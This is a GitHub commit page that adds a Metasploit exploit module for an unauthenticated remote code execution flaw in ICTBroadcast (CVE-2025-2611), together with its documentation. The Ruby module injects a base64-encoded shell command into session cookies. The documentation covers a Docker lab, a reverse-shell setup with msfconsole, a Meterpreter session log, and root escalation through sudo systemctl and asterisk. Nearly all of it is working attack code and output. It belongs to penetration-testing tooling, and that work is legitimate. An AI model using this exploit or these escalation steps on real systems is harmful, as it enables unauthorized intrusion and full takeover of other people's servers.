Skip to content

Commit c99702c

Browse files
authored
Land #20446, adds module for ICTBroadcast Unauthenticated RCE (CVE-2025-2611)
Add ICTBroadcast Unauthenticated Remote Code Execution (CVE-2025-2611)
2 parents 26bf49a + 6ff04da commit c99702c

File tree

2 files changed

+303
-0
lines changed

2 files changed

+303
-0
lines changed
Lines changed: 180 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,180 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits an **unauthenticated remote code
4+
execution (RCE)** vulnerability in **ICTBroadcast**.
5+
The vulnerability exists due to improper handling of session
6+
cookies in the authentication mechanism. An attacker can inject arbitrary system commands by modifying the session cookie.
7+
8+
The issue affects **various versions of ICTBroadcast**, but
9+
specific impacted releases are currently unknown. The vulnerability allows an attacker to execute shell commands **without authentication**.
10+
11+
## Options
12+
13+
None
14+
15+
## Testing
16+
17+
To test the exploit, spin up a vulnerable ICTBroadcast instance with Docker.
18+
19+
```yaml
20+
services:
21+
db:
22+
image: mariadb:10.6
23+
container_name: ictmysql
24+
restart: unless-stopped
25+
environment:
26+
MYSQL_ROOT_PASSWORD: root
27+
MARIADB_ROOT_HOST: '%'
28+
MYSQL_DATABASE: ictbroadcast
29+
MYSQL_USER: ictuser
30+
MYSQL_PASSWORD: ictpass
31+
volumes:
32+
- db_data:/var/lib/mysql
33+
ports:
34+
- "3306:3306"
35+
36+
ictbroadcast:
37+
image: chocapikk/ictbroadcast-cve-2025-2611:latest
38+
container_name: ictbroadcast
39+
depends_on:
40+
- db
41+
ports:
42+
- "80:80"
43+
- "443:443"
44+
command: >
45+
bash -c "
46+
composer --working-dir=/usr require stefangabos/zebra_pagination &&
47+
/usr/sbin/httpd -k start &&
48+
/usr/sbin/php-fpm &&
49+
tail -f /dev/null
50+
"
51+
52+
volumes:
53+
db_data:
54+
```
55+
56+
1. Start the stack:
57+
58+
```bash
59+
docker compose up -d
60+
```
61+
62+
2. Verify that the login page is reachable at **`http://localhost/login.php`**.
63+
The application should issue a valid session cookie on first visit.
64+
65+
3. Run the Metasploit module.
66+
The exploit will automatically harvest the session cookie (format may vary across deployments)
67+
and leverage it to execute arbitrary commands via the vulnerable endpoint.
68+
69+
## Verification Steps
70+
1. Start **Metasploit Framework**:
71+
```bash
72+
msfconsole
73+
```
74+
75+
2. Load the module:
76+
```bash
77+
use exploit/linux/http/ictbroadcast_unauth_cookie
78+
```
79+
80+
3. Set the **target IP address**:
81+
```bash
82+
set RHOSTS <TARGET_IP>
83+
```
84+
85+
4. Set the **payload** for command execution:
86+
```bash
87+
set PAYLOAD cmd/unix/reverse_bash
88+
```
89+
90+
5. Configure the listener:
91+
```bash
92+
set LHOST <YOUR_IP>
93+
set LPORT 4444
94+
```
95+
96+
6. Check if the target is vulnerable:
97+
```bash
98+
check
99+
```
100+
101+
7. Exploit the target:
102+
```bash
103+
exploit
104+
```
105+
106+
## Scenarios
107+
108+
### Unauthenticated Command Execution
109+
**Note**: Ensure that the target is vulnerable using the `check` command before running the exploit.
110+
111+
**Note**: The session cookie is retrieved dynamically and modified for command injection.
112+
113+
```bash
114+
msf6 exploit(linux/http/ictbroadcast_unauth_cookie) > run http://lab
115+
[*] Started reverse TCP handler on 192.168.1.36:4444
116+
[*] Running automatic check ("set AutoCheck false" to disable)
117+
[*] Checking ICTBroadcast via JS fingerprints
118+
[+] JS fingerprint found; performing timing tests
119+
[*] Retrieving session cookies dynamically
120+
[*] Found cookies: BROADCAST=49b067ae1fdfbcab3d73caa1c7e6d75a
121+
[+] The target is vulnerable. Injected RCE (slept 4s)
122+
[*] Sending stage (3090404 bytes) to 192.168.128.3
123+
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.128.3:53178) at 2025-08-04 17:50:33 +0200
124+
125+
meterpreter > sysinfo
126+
Computer : 192.168.128.3
127+
OS : Red Hat 8.10 (Linux 6.15.8-2-cachyos)
128+
Architecture : x64
129+
BuildTuple : x86_64-linux-musl
130+
Meterpreter : x64/linux
131+
meterpreter > shell
132+
Process 877 created.
133+
Channel 1 created.
134+
SHELL=/bin/bash script -q /dev/null
135+
bash-4.4$ sudo -l
136+
sudo -l
137+
Matching Defaults entries for asterisk on f7681361bd20:
138+
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
139+
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
140+
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
141+
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
142+
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
143+
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
144+
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
145+
146+
User asterisk may run the following commands on f7681361bd20:
147+
(root) NOPASSWD: /usr/sbin/asterisk
148+
(root) NOPASSWD: /etc/init.d/asterisk
149+
(root) NOPASSWD: /etc/init.d/httpd
150+
(root) NOPASSWD: /etc/init.d/mysqld
151+
(root) NOPASSWD: /etc/init.d/kannel
152+
(root) NOPASSWD: /usr/sbin/ntpdate
153+
(root) NOPASSWD: /usr/sbin/rabbitmqctl
154+
(root) NOPASSWD: /bin/systemctl
155+
bash-4.4$
156+
```
157+
#### Low-hanging LPE via systemctl
158+
159+
If `/bin/systemctl` is listed in sudo as NOPASSWD, you can escalate to root (outside Docker) via:
160+
161+
```bash
162+
sudo systemctl
163+
!sh
164+
```
165+
166+
*Source: [https://gtfobins.github.io/gtfobins/systemctl/#sudo](https://gtfobins.github.io/gtfobins/systemctl/#sudo)*
167+
168+
#### Low-hanging LPE via Asterisk NOPASSWD
169+
170+
If `/usr/sbin/asterisk` is listed in sudo as NOPASSWD, you can obtain a root shell by:
171+
172+
```bash
173+
# 1) Start Asterisk as root, in foreground so it creates its CLI socket
174+
sudo asterisk -F
175+
176+
# 2) Connect to the Asterisk console and drop into a root shell
177+
sudo asterisk -r
178+
f7681361bd20*CLI> !sh
179+
sh-4.4#
180+
```
Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'ICTBroadcast Unauthenticated Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits an unauthenticated remote code execution (RCE) vulnerability
19+
in ICTBroadcast. The vulnerability exists in the way session cookies are handled
20+
and processed, allowing an attacker to inject arbitrary system commands.
21+
},
22+
'Author' => [
23+
'Valentin Lobstein' # Metasploit module author and vulnerability discovery
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' => [
27+
['URL', 'https://www.ictbroadcast.com/'],
28+
['CVE', '2025-2611']
29+
],
30+
'Platform' => %w[unix linux],
31+
'Arch' => [ARCH_CMD],
32+
'Targets' => [
33+
[
34+
'Unix/Linux Command Shell',
35+
{
36+
'Platform' => %w[unix linux],
37+
'Arch' => ARCH_CMD
38+
}
39+
]
40+
],
41+
'DefaultTarget' => 0,
42+
'Privileged' => false,
43+
'DisclosureDate' => '2025-03-19',
44+
'Notes' => {
45+
'Stability' => [CRASH_SAFE],
46+
'Reliability' => [REPEATABLE_SESSION],
47+
'SideEffects' => [IOC_IN_LOGS]
48+
}
49+
)
50+
)
51+
end
52+
53+
def get_valid_cookies
54+
@get_valid_cookies ||= begin
55+
print_status('Retrieving session cookies dynamically')
56+
res = send_request_cgi(
57+
'method' => 'GET',
58+
'uri' => normalize_uri(target_uri.path, 'login.php')
59+
)
60+
fail_with(Failure::UnexpectedReply, 'No response from server') unless res
61+
62+
if (cookies = res.get_cookies)
63+
cookie_jar.clear
64+
cookie_jar.parse_and_merge(
65+
cookies,
66+
"#{datastore['SSL'] ? 'https' : 'http'}://#{rhost}:#{rport}"
67+
)
68+
print_status("Found cookies: #{cookie_jar.cookies.map(&:to_s).join('; ')}")
69+
end
70+
71+
cookie_jar
72+
end
73+
end
74+
75+
def inject_command(command)
76+
jar = get_valid_cookies
77+
return if jar.empty?
78+
79+
jar.cookies.each do |c|
80+
original = c.value
81+
c.value = "`echo${IFS}#{Rex::Text.encode_base64(command)}|base64${IFS}-d|sh`"
82+
83+
send_request_cgi(
84+
'method' => 'GET',
85+
'uri' => normalize_uri(target_uri.path, 'login.php'),
86+
'cookie_jar' => jar
87+
)
88+
89+
c.value = original
90+
end
91+
end
92+
93+
def check
94+
print_status('Checking ICTBroadcast via JS fingerprints')
95+
96+
fingerprint_found = %w[
97+
IVRDesigner.js agent.js campaign.js campaign_feedback.js
98+
campaign_integration.js phone.js supervisor.js trunk.js
99+
].any? do |file|
100+
uri = normalize_uri(target_uri.path, 'js', file)
101+
res = send_request_cgi!('method' => 'GET', 'uri' => uri)
102+
res&.code == 200 && res.body.include?('ICT Innovations')
103+
end
104+
105+
return CheckCode::Safe unless fingerprint_found
106+
107+
print_good('JS fingerprint found; performing timing tests')
108+
109+
[3, 4, 5].sample(2).each do |t|
110+
start = Time.now
111+
inject_command("sleep #{t}")
112+
if Time.now - start >= (t - 0.3)
113+
return CheckCode::Vulnerable("Injected RCE (slept #{t}s)")
114+
end
115+
end
116+
117+
CheckCode::Appears('Fingerprint present but timing did not match')
118+
end
119+
120+
def exploit
121+
inject_command(payload.encoded)
122+
end
123+
end

0 commit comments

Comments
 (0)